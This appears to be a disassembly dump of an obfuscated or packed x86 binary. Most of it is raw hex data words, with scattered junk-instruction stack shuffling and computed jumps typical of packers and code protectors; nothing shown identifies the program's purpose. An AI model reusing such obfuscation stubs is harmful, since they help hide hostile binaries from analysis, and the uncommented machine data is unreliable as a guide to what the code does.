0DEA29FE8h, 0B7A5BEDEh, 77139B25h, 0F83A7A66h dd 71906482h, 0FE44716Ch, 2A954B84h, 0E85A8C6Fh, 99A17h dd 0BC8B9F00h, 23F46A7h, 0D4E534D1h, 0B9989E0Fh, 8374DBAh dd 0E6056CEBh, 57B0A392h, 7E0734Eh, 0F01DC6F1h, 4049AAA7h dd 904004A8h, 78C7C585h, 0BB33BD80h, 0C3941DCFh, 6C188C40h dd 0E3C3941Dh, 808DBB9Fh, 7F65A77h, 8A73C7F2h, 5CFB4F76h dd 5EAB4CF9h, 0F104F501h, 1C167CC0h, 23126891h, 0B63771CFh dd 0EA094451h, 411FFF2Eh, 1822A32h, 0DE320000h, 0A514F8D5h dd 0A0FE6550h, 119547DCh, 0BD9F198Ch, 7DF559A1h, 3A60E70Dh dd 47CDD8D8h, 8F734256h, 0BFFD6DEh, 0CB35D337h, 2C350722h dd 6F0Fh, 603E9D00h, 0A37974D4h, 7E00F73Bh, 0EA6593C1h dd 0D6FC63Ch, 263296ADh, 6559C83Ah, 0C3F206F7h, 3ED1B7Fh dd 49F867F1h, 491893A6h, 38C3874Fh, 0EB44C394h, 8D4AAE91h dd 0DF91171Bh, 1CE80638h, 0BD9F10BDh, 76C448B2h, 0F1457487h dd 0E3E3739Dh, 363A60F6h, 0F09418AAh, 793A60F6h, 68AC102Fh dd 3B7DABEFh, 0DBB756AAh, 0D3922C35h, 7A000000h, 0CFBB33BDh dd 40C3941Dh, 0D9AD9CEFh, 0E33881E5h, 0F8166ADEh, 41350015h dd 0A668098h, 0E61EB254h, 0EFE6A09Eh, 191BEA50h, 9FE85125h dd 35AAA779h, 5FB31744h, 65B461EBh, 5430608Fh, 2A0E53D7h dd 0C90411FCh, 15CD842Ah, 3B4CC394h, 5EB28D9Bh, 9EEA028Ch dd 113C6BFBh, 0E864FF29h, 75D9E43Dh, 0D5A7F711h, 0FF089C4Eh dd 1D42666Ah, 390FA3BEh, 9C4AD143h, 7915BBFh, 66249BEFh dd 0F8166C3Ah, 0E339E476h, 0C1DB32DCh, 708865FEh, 6568824Dh dd 0AF9B8660h, 7EEE8h, 0E8E73300h, 0BE8B9A0Bh, 3948A5h dd 0D5EC32D3h, 0A49BE10Eh, 3AD118BFh, 0EB04DFE6h, 5BB4AF92h dd 4E1724Dh, 0EC1DC6F3h, 939CE87Ch, 0A413C585h, 0FBDADE3Ch dd 4F7A8F78h, 0D5DE6C94h, 50A514F8h, 3407FE65h, 0A1000002h dd 0E4760D6Fh, 9F0B4140h, 0F4CEBDh, 60D3A020h, 9E2F753Ah dd 35BEC36Ah, 200EE2Ch, 0A7760000h, 0C3941D20h, 77E57E1Eh dd 859840FFh, 3E9D1BDh, 0C5F004F1h, 0E4D1222Bh, 48858E7Fh dd 43D8A4C4h, 88D00F99h, 999A241Fh, 0A1152074h, 0ECE096Dh dd 7BB6A6FBh, 0AA5B2BC5h, 234471D9h, 0D8CC10DFh, 0D7338C6Eh dd 73E70h, 18374300h, 0EEDB2ADBh, 0B0899875h, 53C42A3h dd 0D4EB31DEh, 4AA1C80Fh, 3BD40F36h, 0EB04DFE2h, 54B1A29Dh dd 1CED7643h, 922C58CCh, 0D4A3C585h, 0F8D5DE6Ch, 6550A514h dd 0E0ED2791h, 9D3EE3Bh, 1AAB9AD2h, 2ED81699h, 7A24BB5h dd 638F3241h, 69000001h, 14F8D5DEh, 0FE6550A5h, 9547DCA0h dd 9F198C11h, 0B9CCA1BDh, 4F330E1Dh, 4F33170Bh, 8FFB73FDh dd 0E3A60E7h, 774B3409h, 0E77D0DD9h, 8A83A60h, 7E8677FDh dd 96B7A947h, 0B32C3506h, 38h, 760D6F5Dh, 5D140E4h, 645EBD9Fh dd 0CB305090h, 67B13A60h, 0E335E468h, 82260D4h, 346C81FDh dd 0BDC233B9h, 0E2AE7780h, 8CDA5536h, 5C51F862h, 0D3782C35h dd 84000000h, 72F8D5DEh, 0F61004CDh, 0EB2F93A2h, 1A6BF32Ch dd 6FB564ECh, 0E83DEC50h, 69FD0FDDh, 0C394BC1Dh, 0DEE53D92h dd 15C44CFAh, 0B82E3500h, 0C3934AD1h, 2BCDD2C3h, 0FA052EB7h dd 32D0133h, 17CCF90Ah, 3C2E3547h, 0F88C20B2h, 4FC394E8h dd 0FE09DD0Bh, 22BD9979h, 59681C90h, 9BFF3A67h, 0F701EE6Dh dd 3C1074D8h, 9AA5FF2Eh, 2AF9EB50h, 446C2DCBh, 0C4DCC9AAh dd 0A0D86EF9h, 2F1B865Eh, 5F268h, 0D4E33700h, 0BA979E0Fh dd 0C3D4CB9h, 0D1E036D7h, 0A09FE502h, 3EDD04B3h, 0EF18DBFAh dd 5F48AB96h, 8E57E49h, 0E811C2FFh, 8D98EC00h, 0A06FC585h dd 0FBDADE38h, 4F7A8F78h, 0C2A31894h, 959B02C4h, 89F49014h dd 77BC394h, 22FC1423h, 437A3CA0h, 0D5DEBFA5h, 4BF41A6Dh dd 0F58A69DAh, 2D91F5E9h, 0C51E2B7Ch, 163Eh, 0D5DE4600h dd 50A514F8h, 7BB19165h, 4570856Ah, 39679Eh, 0DE810000h dd 0DC14F8D5h, 0C3941DADh, 66EAD72Ch, 22C27AF9h, 8B72A3EBh dd 0BAFF437Eh, 19136F7Eh, 0D421C6C7h, 6CBF176Ch, 0B195795Dh dd 0D50A865Dh, 9D94EF50h, 0F42514Fh, 0BD07FD2Bh, 98E04850h dd 99FDD1A5h, 0D637D135h, 0EC0CF0CDh, 0CD618B90h, 0BD859ADCh dd 6E88917Ch, 0FBFE34C6h, 0A7160AD1h, 47C4625Dh, 0EB3CE973h dd 9FE805DEh, 0BEDEDEA2h, 0CD3FB7A5h, 33446BA7h, 0A7790DA1h dd 0B8C03048h, 62DD3185h, 2911EE18h, 0F4C1D2C3h, 0AE75BE6Fh dd 48A74206h, 99FDC530h, 47A7F535h, 0EE0FE985h, 33391DCAh dd 4364A6BBh, 0D32BDA4Eh, 0A2418ECh, 0E3A350Dh, 25928125h dd 4B96A2Dh, 0AAFC0000h, 50A74093h, 615F261h, 0A7FF28CBh dd 56AA5B98h, 264DF46Fh, 5182BDC7h, 81526FB4h, 3E251064h dd 6A89C4D1h, 0A7234BA1h, 28C5858Fh, 0D5DEE359h, 35E072F8h dd 2C60D4E3h, 941DA024h, 0ECD329C3h, 675B2418h, 0B4C12EC9h dd 0ADC15399h, 0C3941DD9h, 56BA54AEh, 0E23292E7h, 0E6F867EBh dd 7655CE2Dh, 906458BCh, 38E1EC26h, 0F701D2EFh, 3241EB56h dd 4F73h, 33BD9D00h, 941DCFBBh, 0CC7A40C3h, 4597ACF0h dd 887C4D58h dd 5CD09AB4h, 0BD9EE1FBh, 6B1F9721h, 0FC3A60AFh, 97EB6886h dd 714C5845h, 0AF0E7CE2h, 7A8F3A60h, 28709D4Fh, 0C36DA115h dd 86B1C720h, 3FD5D32h, 2C930000h, 2D724842h, 4CB25C7Dh dd 2C23D5DEh, 0D964683Bh, 0CC034C8Bh, 0DF69A8B1h, 0F5CA71FBh dd 48879117h, 0D9BDE8Fh, 1E7D9EF2h, 91BFB430h, 8AC7D0B9h dd 0F6F0D69h, 0B64E0976h, 6BF1D59Ah, 0B3C864BAh, 0E2C63A8Eh dd 8E18AA44h, 94736266h, 5D83A5C3h, 0BEEA5709h, 874FF9C1h dd 0BD9F9E3Ah, 655CA20Bh, 0D5B5BD01h, 3A619Ch, 4D98E358h dd 0A81C297Ah, 66AFAB54h, 7F8E28C6h, 35B86485h, 0ECE55A2Ch dd 3BAFD03Ch, 2D1C6FDEh, 36CB6559h, 3Ch, 1F227BAAh, 0D6F0BF1h dd 1277E476h, 4AEA9A4Dh, 0B1AF1621h, 101BE935h, 41F074F6h dd 2EBD9F14h, 2BDA60D4h, 391DE1D8h, 0FA07470Fh, 0C6D23A60h dd 0D81CCDC7h, 0C9352C35h, 0D3000000h, 14F8D5DEh, 9C605FA5h dd 19EDD82Dh, 896A67B0h, 941B5C65h, 0BF8A9FC3h, 963E4BA4h dd 44356781h, 0EE229F9Fh, 0EEC2068Ah, 2E46D01Ah, 3C6B5F5Ah dd 7570E2Dh, 177EA6Dh, 0E1BB032Dh, 0F51C905Ah, 4A4260B8h dd 0D458EA70h, 3A6062B0h, 4225C337h, 0E1058814h, 3A6062E5h dd 4473856Ah, 44B89CF0h, 0F4EF1E96h, 1A60446Dh, 0E0DF25D0h dd 0A34EC57Ah, 0A6D1474Eh, 0FA3EEF88h, 45E60CDBh, 252D8C6Ch dd 2AA62h, 0AC9BEF00h, 724F56B7h, 0C4F504E1h, 0A9A8EE1Fh dd 78475D4Ah, 0F6155CFBh, 0A74093A2h, 17F0635Eh, 0C02D3601h dd 0B0599AB7h, 895034B8h, 68D7C585h, 0FBDADEF0h, 3B4FE771h dd 8CC3941Dh, 2EDF98B6h, 8D0BE8E5h, 0E4760D6Fh, 33DDE039h dd 0B9FE2FB9h, 3B9A6A84h, 34BD9F05h, 30DEAC15h, 0BA9EBD6Fh dd 556E1ED6h, 31BB3A60h, 3084B5C4h, 757032DCh, 35396E9Fh dd 0F65B2Ch, 47D10000h, 60595B2Fh, 38D62C3Ah, 0F8D5DEC2h dd 7199C614h, 0D7BF3B65h, 0EFE89DEDh, 197D460Eh, 3B1A1EEFh dd 3CD69F57h, 1C69C394h, 0C0D53221h, 51D567F5h, 0C3943E35h dd 0A2A640BAh, 28176D98h, 6A1E96A4h, 0FDC3943Eh, 3787A185h dd 980CDE65h, 0BD9F0971h, 0E99D11A3h, 7E3A610Ch, 156DEA04h dd 810C90CEh, 610C196Dh, 0AF4FEE3Ah, 92DD0534h, 7EECC024h dd 6C37F4F6h, 0D9037744h, 287CD42Ch, 7155A91Dh, 6EB766E2h dd 0AD94EA53h, 4F768A83h, 6A93A480h, 0F85FAB8Ch, 197h dd 0A2B1889Ah, 0DC073245h, 0AE9E033h, 0A5BE859Dh, 0D60D3048h dd 9FE5786Fh, 4D52B3A0h, 0F202E370h, 9AEF18DBh, 0A547B4AFh dd 85884501h, 857BCAC5h, 0AE4850BDh, 16EDE0D7h, 0B5197D70h dd 4256B751h, 48AC91E6h, 1C297AABh, 0BA32BCCEh, 0C394C4CEh dd 9DE97941h, 12C394C4h, 9F65FE28h, 0B4A50BDh, 0A8A54387h dd 4C9E625Fh, 87DB2DEFh, 0EFF3CA0h, 2C21CF06h, 0E9227BDBh dd 94110145h, 58BC86C3h, 0A7BC90F4h, 0BC003D46h, 8A8E207Ch dd 80BDC24Bh, 374FBEACh, 0A6408408h, 23EDA0C4h, 1862BD9Fh dd 28B46DD2h, 0C052B108h, 7D372226h, 437E8B70h, 0ADB6C690h dd 2C6000BFh, 5FCCE7Ch, 0C8ED01EBh, 0BD446B2Ah, 0FF08F145h dd 1C167EC2h, 0B8C3D991h, 51F3AB2h, 2A104E76h, 454EBFC9h dd 1A6FDE08h, 0C4D03D2Fh, 2EB5F89h, 0E411DBF2h, 8387A19Ch dd 6A931296h, 67372C19h, 48DC0E15h, 5042F6F5h, 0D736AB4Ah dd 0B5FB2686h, 0EB3CED51h, 0B5CF6ADEh, 941A6238h, 0D096698Fh dd 3425BD3Eh, 34286CD0h, 0C338E26h, 3E045A4Dh, 18237925h dd 99435AD2h, 0A69C5C42h, 231E6BD2h, 0F7C2D730h, 0E5362303h dd 0A204DABh, 718471FBh, 52A7A640h, 2094A1F2h, 0E6F6921Ah dd 1796EBEh, 0FD2AC92Dh, 40299DA8h, 24D11B3Ah, 0C149E7DEh dd 0A8515C54h, 77F1625Fh, 0E60541E5h, 7E846EBEh, 6482F847h dd 0DDA19CE9h, 127Ah, 0FD07F600h, 0BD3E24C2h, 1DCFBB33h dd 7A40C394h, 0DE3D1BCCh, 0A009FDD4h, 27967A57h, 0AB12E6D1h dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h dd 0CF7BCFFAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 0B68h mov [esp], edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi push eax push ebp push 27D74985h pop ebp or ebp, 649934CBh add ebp, 711B43E8h xor ebp, 0DEEB447Fh mov eax, ebp pop ebp mov edx, eax pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push 6424h mov [esp], edx pop dword ptr [esi+8] push dword ptr [esp] pop esi add esp, 4 mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- retf 61D8h ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- mov eax, 6119700h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 98h, 77h, 29h dd 9C0C12Eh, 0C6885414h, 4880354Eh, 17EA5239h, 10C9265Ch dd 2B8D6674h, 0D0F25939h, 7B06A223h, 0E51CC30Dh, 2FB91B75h dd 0BCFF5528h, 0A0D4CC1Ah, 0D0A3BE7Dh, 8766D577h, 6FDA424Ah dd 0CDB30C31h, 0B38D8D43h, 6A061198h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 3CBCC357h dd 56DAA80Fh, 0BEC42D23h, 2E491D8Ch, 174D8D89h, 8E8060Bh dd 0FE000000h, 509D0A59h, 0BE23AA6h, 0B1B79BDh, 85C75B06h dd 60B0119h, 595Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0AEC35545h, 7E32E9CEh, 0E9BE2B04h, 13h dd 830CEB1Dh, 58D2B144h, 0D4974C26h, 0D38B448Dh, 0C751F274h dd 0B100985h, 6, 0FEB70F00h, 2705B5FFh, 6A060Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0B58B48C3h, 60B0E49h, 0AC595FFh, 858B060Bh, 60B0B25h dd 95FF006Ah, 60B32DDh, 6BEBC08Bh, 0E31FB370h, 0B5C90613h dd 0AD340D87h, 40F4E831h, 993B2CDEh, 60319586h, 803960A0h dd 0F90A9D94h, 0E7196CFCh, 5346D49Ah, 0B60933B0h, 695BB02Bh dd 9DC1F3ABh, 96B0695h, 0AF06117Eh, 0F3CC9857h, 0D50490h dd 1E7EECC1h, 49D822D5h, 35A8D056h, 0B231574Eh, 1F5AB0C4h dd 0CCB965C0h, 1D2278A2h, 4B09DEE7h, 69C4B1FEh, 0E90BB2CEh dd 15Fh, 60D48B52h, 0E8h, 0ED815D00h, 6119931h, 3D08428Bh dd 78263845h, 138850Fh, 428B0000h, 184A8B0Ch, 66BBC8D3h dd 338B9F17h, 4E883C3h, 174D8589h, 588B060Bh, 8BF88B04h dd 4A8B1042h, 0BEC8D318h, 0FA4DC379h, 0C72BC633h, 83FCE083h dd 858904E8h, 60B0119h, 8914428Bh, 0B100985h, 18428B06h dd 0B0E953h, 0B5FF0000h, 60B1ADDh, 0B9E9h, 49B5FF00h, 0E9060B1Ah dd 0AEh, 19C9B5FFh, 0A3E9060Bh, 0FF000000h, 0B1B7DB5h dd 98E906h, 0B5FF0000h, 60B2A41h, 8DE9h, 5B5FF00h, 0E9060B27h dd 82h, 1AA9B5FFh, 77E9060Bh, 0FF000000h, 0B0105B5h, 6CE906h dd 0B5FF0000h, 60B1A31h, 61E9h, 0D9B5FF00h, 0E9060B0Eh dd 56h, 2355B5FFh, 4BE9060Bh, 0FF000000h, 0B21D9B5h, 40E906h dd 0B5FF0000h, 60B1F8Dh, 35E9h, 0D5B5FF00h, 0E9060B0Fh dd 2Ah, 0DA5B5FFh, 1FE9060Bh, 0FF000000h, 0B12A9B5h, 14E906h dd 0D88B0000h, 0BB8h, 0E3F76600h, 99928D8Dh, 0C8030611h dd 95FFE1FFh, 60B0AC5h, 4D858B5Bh, 39060B17h, 850F0458h dd 0Fh, 0FF016A53h, 0B32DD95h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah dd 0D4C96AB8h, 8BE0FF77h, 0B000D85h, 808D8D06h, 8906119Ah dd 0C38B0141h, 0FE8h, 0DB87A300h, 0CED4C2D7h, 0B7A34AB7h dd 9A06C209h, 0F5BC6B6h, 0C381FFB7h, 61ACh, 0E8816060h dd 28E3647h, 66615953h, 618BBFBBh, 182C68h, 11E800h, 921F0000h dd 3AE0E2FFh, 4777191Ch, 9367AF16h, 0BFD0BFF8h, 7BEBD426h dd 0B866595Ah, 33FF1C4Fh, 6860Fh, 0E8810000h, 56475A23h dd 12800F5Eh, 0E8000000h, 7, 5F605659h, 6607656Eh, 3D1FC081h dd 0E3EE815Ah, 0B0169CFCh, 24EE8196h, 604E5526h, 9539A7BBh dd 0CEBF0F52h, 0CDEE8161h, 0B06064E8h, 0F3389BCh, 88Dh dd 2810F00h, 0B6000000h, 0A7EB8161h, 0E969216Ch, 8, 0B4BB82CDh dd 9EB5F692h, 6CA3C381h, 7E86921h, 0E5000000h, 0A7638954h dd 12E9566Fh, 0C3000000h, 0D54B1EFCh, 0EB2234Dh, 0D632717Fh dd 360034DAh, 0E9815F9Dh, 1, 0FF60850Fh, 8060FFFFh, 810F96D4h dd 4, 3724BE66h, 12E861h, 0B4D0000h, 12BD91B5h, 66674C16h dd 0FE3CFD08h, 5EDA20BCh, 5CCA815Bh, 81788B46h, 5EA8C3h dd 46BA6600h, 5DF2BED4h, 0F68130E3h, 30E34A72h, 0F8F0Fh dd 6E80000h, 0B5000000h, 9C65F51Fh, 0AEEC807Dh, 0E833FF58h dd 0Ah, 6A659382h, 43D077FCh, 0CE80510h, 80000000h, 0BA68B082h dd 7F7B282h, 8A504231h, 595F5FF5h, 66A9B460h, 61B94BBFh dd 0D712C181h, 840F202Ch, 0Bh, 0DEB70F60h, 8C0Fh, 81610000h dd 0CAD8F7E9h, 0E7C18104h, 0BA2E9759h, 1598A789h, 0EB830B89h dd 0C18B6604h, 9A850F4Eh, 66FFFFFFh, 8D8DD78Bh, 6119D35h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F4C35747h dd 89D418C1h, 0B20B985h, 4D8D8906h, 81060B17h, 9C99B8F2h dd 1985C746h, 54060B01h, 8B000072h, 0B208585h, 985C706h dd 60B10h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 98F2C353h, 0E6C3BF61h, 0C78B8DC2h dd 63DB58Bh, 0B5FF060Bh, 60B2A41h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 4DC35141h, 1C6643FEh, 0E7B52985h dd 98D8960h, 61060B08h, 21A19529h, 0B589060Bh, 60B188Dh dd 0AC595FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0BB918BC3h, 6A6B7Dh, 32DD95FFh dd 0C08B060Bh, 0DAED19EBh, 7006D8D9h, 0FD6FF405h, 0E1738149h dd 6A4D5212h, 4E74FF94h, 0EB9A7C20h, 8, 70BE0300h, 4EDE950h dd 67680000h, 0E906119Eh, 0FFF9E1CBh, 119EEB68h, 0E1C1E906h dd 7B68FFF9h, 0E90611A0h, 0FFF9E1B7h, 0E67D545Eh, 10C3FE09h dd 4E95A4F7h, 0F97A59A1h, 2AC9F40Ch, 53A944ABh, 116F76Ch dd 0BEC6273Ch, 66B35C87h, 0E903886Bh, 85800145h, 413786C5h dd 17FBDADEh, 0F3605DA6h, 9842D9A3h, 9F218514h, 0EC50AABDh dd 60EF0444h, 0D40BD13Ah, 567C8138h, 31739DA1h, 54AD5CB4h dd 1B842C35h, 60000003h, 84150BDh, 8BC6D584h, 770C7997h dd 3C2E3547h, 53443B2h, 52E1BEBh, 0ED52BD9Fh, 9DE26918h dd 5F9B97A0h, 1D2F2CDAh, 60B8FD89h, 0F3971F3Ah, 743A60B8h dd 0C049B10Eh, 0D03498B1h, 6CBF6EFCh, 3ACCB35Dh, 3F0413F3h dd 0E149A9F3h, 0A69DE5E7h, 24BFB599h, 98EB1AC0h, 6ED2EF34h dd 5618362Ah, 10A9AFDEh, 76DA2041h, 0FDD6636h, 1B94EAE7h dd 0D5077B4Bh, 71E2DF28h, 0B9B68394h, 8FD96D47h, 3B21E66Ch dd 0B9000003h, 608D566Dh, 0CE3F2415h, 0B8558EC3h, 67805362h dd 8231221Dh, 4578805Bh, 1528719Eh, 0F8D721CEh, 4C798A7Bh dd 6E866A97h, 0C585831Ah, 0BDA61EEDh, 48C1541Eh, 7A944245h dd 81A5A22h, 0C9C2D496h, 0CFBB3339h, 40C39421h, 29D4067Ah dd 0A547E1DCh, 858E1401h, 3B2119BDh, 18297CA9h, 3A051FEEh dd 89B4CC39h, 295DD163h, 0BE3A7A83h, 8EA6AA44h, 3C85D1C1h dd 0D11E2B7Ch, 866417F9h, 0B747380Ah, 35000002h, 9C09EAE1h dd 4ABBB889h, 34D1023Fh, 0E30CD7EEh, 6BDA699h, 0D9E43CDFh dd 0A994ED1Ah, 7C4B5D4Ah, 0C0FD06E7h, 0EA02EE13h, 0C585839Eh dd 6F3AA211h, 5AE4760Dh, 996D5CABh, 0F0C1D4A5h, 0B2AB8E56h dd 0A69CBD85h, 8B9D08D2h, 82C292BCh, 33A7A7Eh, 8475D9F0h dd 4A3EB671h, 0DD3A7A7Eh, 3D81E5h, 899C0580h, 9CF0D4B8h dd 56AA3B79h, 2C2E6FB7h, 19992h, 33BD7A00h, 941DCFBBh dd 0CC7A40C3h, 0B5193441h, 5D86B3C4h, 7AE07B01h, 9F196FF2h dd 8B23ADBDh, 3A60E6FFh, 7FDC0A70h, 0CFBFB71Bh, 1A3A60E6h dd 18850F9Eh, 8073009h, 40D78C5Fh dd 0FF2E103Eh, 3D2C34FDh, 5F89C4D0h, 509Ah, 0D6F6200h dd 9D77E476h, 0AA31079Fh, 9E4A3EB6h, 0E5DDC394h, 61856781h dd 0BD9F86B0h, 0A91946D0h, 89693394h, 0DD345090h, 47BB3A61h dd 0EC50AAA9h, 61DD0444h, 9A0BD13Ah, 0F6CABE8Bh, 0C54F5E58h dd 9FDC0D8h, 8211B35h, 212C36B1h, 0BBh, 23D5DECFh, 1C742758h dd 93675B77h, 1BEFD62Ah, 0E05461B2h, 20A4C85Ah, 0A7C394AAh dd 4F58B553h, 0AA646084h, 97EBC394h, 297CA9B3h, 0B650B418h dd 0AF07A93Dh, 2D76C394h, 0FD417C85h, 0E0BEA599h, 0CA07129Ch dd 3C2E0246h, 0F88C20B2h, 4FC394AFh, 0FE09DD0Bh, 4FBD993Eh dd 0EC34E10Bh, 869A0BD1h, 5AD691BFh, 0F9635EABh, 671C1175h dd 82AC963Ah, 814E718Bh, 865FB53Bh, 272DE260h, 0A5000001h dd 0CF97A51h, 0FA2BC8F9h, 0A44192AFh, 13FC675Eh, 962D3609h dd 6954AC4Fh, 39041D8Ah, 8CBBCD3Ah, 506DB657h, 7AF27E83h dd 0C585BD0Eh, 0DE4A3281h, 8F78FBDAh, 0FFC6DA7Ah, 0DEB8589Bh dd 0A514F8D5h, 72FE6550h, 0E9C7A83h, 0E2469EBAh, 0F7C76145h dd 0D84C9EA5h, 0BD9EB17Fh, 0B5608AF0h, 14AC6B66h, 0D618A825h dd 0EE1FD17Fh, 2648ABAAh, 3A6129A6h, 7CE7D227h, 0C2B68993h dd 0A90Dh, 0D6F9700h, 5940E476h, 0D6BD85B2h, 7ECE3637h dd 53EC86A5h, 35AFAE0Dh, 8C7054ACh, 66FDC8DDh, 0D3EE3BEAh dd 10FD2B6Fh, 0BB20CA07h, 67C287D2h, 0F850FE61h, 1BDBC368h dd 82392B94h, 0F092F632h, 0BFF9170Dh, 81BCC92Eh, 5560B552h dd 0D3E238E1h, 5B7ABE6Fh, 0C6FB06F7h, 0A1152477h, 9B9EA3F8h dd 7324C59h, 0D7B33B45h, 58601921h, 0B1889B62h, 8901D97h dd 0E515C7D3h, 24730297h, 96DA115h, 28256EDFh, 63C9D3C2h dd 7F53271Ah, 0B553B71Bh, 8024B632h, 60195AC4h, 74D9774Bh dd 5A758323h, 33D9266h, 47000000h, 0D4DE9C84h, 57A009FDh dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh dd 798871C5h, 0FA0DFC40h, 52CF7BCFh, 0C281E289h, 4, 8704EA83h dd 895C2414h, 29682414h, 8900001Bh, 7668241Ch, 89000042h dd 0E3BB242Ch, 431F0323h, 31F3814Bh, 560BE006h, 0C83F0ABEh dd 5EF32160h, 787EC381h, 8B540551h, 0C483242Ch, 4815304h dd 0D2498824h, 8458F3Bh, 276BB850h, 2D4021E7h, 0E614DDE4h dd 58084529h, 5D2434FFh, 8B04C483h, 8953241Ch, 4C381E3h dd 83000000h, 1C8704C3h, 0F0E95C24h, 2FFF9DCh, 39EEED03h dd 0B88F6F96h, 611A1C7h, 0E0FFC503h, 19D12EF4h, 7CEBB025h dd 406E941Ch, 458BFFF2h, 744BE629h, 630B0A4h, 7D7E77D2h dd 0ED682EDh, 92707E7h, 322AA02Eh, 74DE2625h, 472636BEh dd 3D693F8Ch, 3586B36h, 5DA01A01h, 5A9C8C10h, 21973A53h dd 4073085Ah, 48A3D7D0h, 3DFE05ACh, 6DFEC974h, 6EA17065h dd 0BCB6D25h, 5A8AAB23h, 3D708CAh, 17122275h, 4E012951h dd 0AAFD854h, 5AE270C5h, 614BD2BAh, 70635A7Dh, 75AC44D4h dd 13E8h, 0B6C61000h, 0F5AF94DAh, 0EC68F275h, 4D63CF57h dd 0DC9C0ED1h, 0DE9h, 0A8946D00h, 8C2A1229h, 8071DD42h dd 665ACE9Ch, 0C281C88Bh, 6C50h, 33F6BF0Fh, 23C8BC0h, 5621ABBh dd 91C7814Bh, 0F6519E8h, 0EF81CFB7h, 2F074E02h, 6104BE66h dd 0F609EF81h, 57F54123h, 0CE9h, 0EA153000h, 0BDC521Bh dd 0DB9D57DAh, 2048F35h, 83F78B66h, 35BE04E8h, 813C59B2h dd 0FF948CF8h, 19850FFFh, 66000000h, 56E9D98Bh, 6F000000h dd 0D4AD6905h, 77E27443h, 4F0DD866h, 0C77996EBh, 2A890Fh dd 0AE80000h, 28000000h, 6333227Eh, 1FFEF111h, 14E844h dd 33BC0000h, 28CBD455h, 2FA3C254h, 93759CDDh, 0D5E44906h dd 5E59F7E0h, 0FFFF64E9h, 0D11FB1FFh, 6BFD3188h, 0EF89B81Eh dd 0C29228A9h, 0AE881h, 57430000h, 0B8A180CCh, 4A1D1732h dd 0FE95Eh, 0A7710000h, 8CE7AB9Dh, 0C18D2B89h, 0AA31FF77h dd 50C681F8h, 6600005Bh, 1537C181h, 34FFC033h, 0CAB70F30h dd 0AE95Bh, 43630000h, 0BD71D075h, 3552EA32h, 19B2F381h dd 81F90652h, 405C53EBh, 0D0B65107h, 7CEB815Ah, 0B665372Eh dd 0BF665365h, 48FE8A2h, 0F9B70F06h, 58C0Fh, 0CEBA0000h dd 816347FEh, 6C9DFEE8h, 0FAC08159h, 0E9596C9Dh, 0Eh, 3A80DFD4h dd 0E3A1ED3Ch, 0F3C2842Dh, 0F881654Eh, 0FFFFA548h, 0FF90850Fh dd 13E8FFFFh, 20000000h, 4D2C5FCh, 0B761E00Fh, 3E5B3F87h dd 89B2B49Bh, 8B66DBC1h, 8E0F59F7h, 4, 76DEBF66h, 5A8BC181h dd 14E90000h, 6E000000h, 5AA92155h, 4BC8BA6Eh, 4549594Fh dd 0DB52FABh, 2BE123EAh, 57E681D2h, 0FF063BCFh, 0F5B0A34h dd 58Ch, 0BBC6BE00h, 0F3811227h, 2CD5AF93h, 0FE8h, 0FC79DD00h dd 223DEBECh, 50BE2170h, 0E8C3E951h, 13E9h, 6E4DAE00h dd 0D30E9EABh, 0F896D8C9h, 315DADA8h, 51ECA2B8h, 0F2C3815Eh dd 8110D3E0h, 0A5E926F3h, 0BE97Dh, 0ADE0000h, 0D54497FCh dd 0AC557BC0h, 0F08153CBh, 25B637Fh, 0F11048Fh, 0B82h dd 6E900h, 457C0000h, 71097460h, 0FE9h, 7BA2A100h, 73D2E8Fh dd 53A0A997h, 98357A6Ah, 0E901EA83h, 0Dh, 9F935CACh, 988BFBD0h dd 0CCA68A0h, 4A4A4AD0h, 0A6A0FA81h, 850FFFFFh, 1Eh, 0AE9h dd 2B351F00h, 0C89915E9h, 0E9A29160h, 22h, 0BCCAF818h dd 9F24254Ch, 0BF0FEA7Bh, 0FF29E9F7h, 0BE22FFFFh, 6BC139D3h dd 0D8679E22h, 0E03A0CD4h, 6E8ABE2h, 7D000000h, 5C1C8F59h dd 0BE85663h, 8E000000h, 83F99B09h, 554417E3h, 0B70F57BFh dd 5E5B5FDEh, 513F7FBBh, 0A6C6810Ch, 0BB000061h, 575DCD01h dd 183668h, 12E96000h, 0F7000000h, 0D62EC638h, 0AF936CEEh dd 54B2A13Ah, 0D82538ACh, 0FDFDBF82h, 5A617DBEh, 66DF8B60h dd 0D6B0E181h, 0F068B61h, 884h, 28E0F00h, 0B5000000h, 43F081A7h dd 0B7498C4Bh, 97E88170h, 0E86901B5h, 0Dh, 4D6A1CFDh, 0AC3A10F2h dd 0DE4D1EA6h, 0E8815F17h, 6AC76BF5h, 0DF07BA60h, 0F500210h dd 87h, 50615F00h, 8F2EC180h, 83FE8A06h, 0E86004EEh, 0Dh dd 0D0783BDh, 0A3AE7CB4h, 0F421063Bh, 585E536Bh, 4B61F281h dd 83611C57h, 850F01EAh, 0FFFFFF89h, 83C08BF5h, 0B05BDBDh dd 9750006h, 29D1BD83h, 7400060Bh, 8B535019h, 421B8C0h dd 85890000h, 60B2A35h, 0B31A9D8Dh, 0D3FF060Dh, 0BD83585Bh dd 60B29D1h, 50177400h, 421B853h, 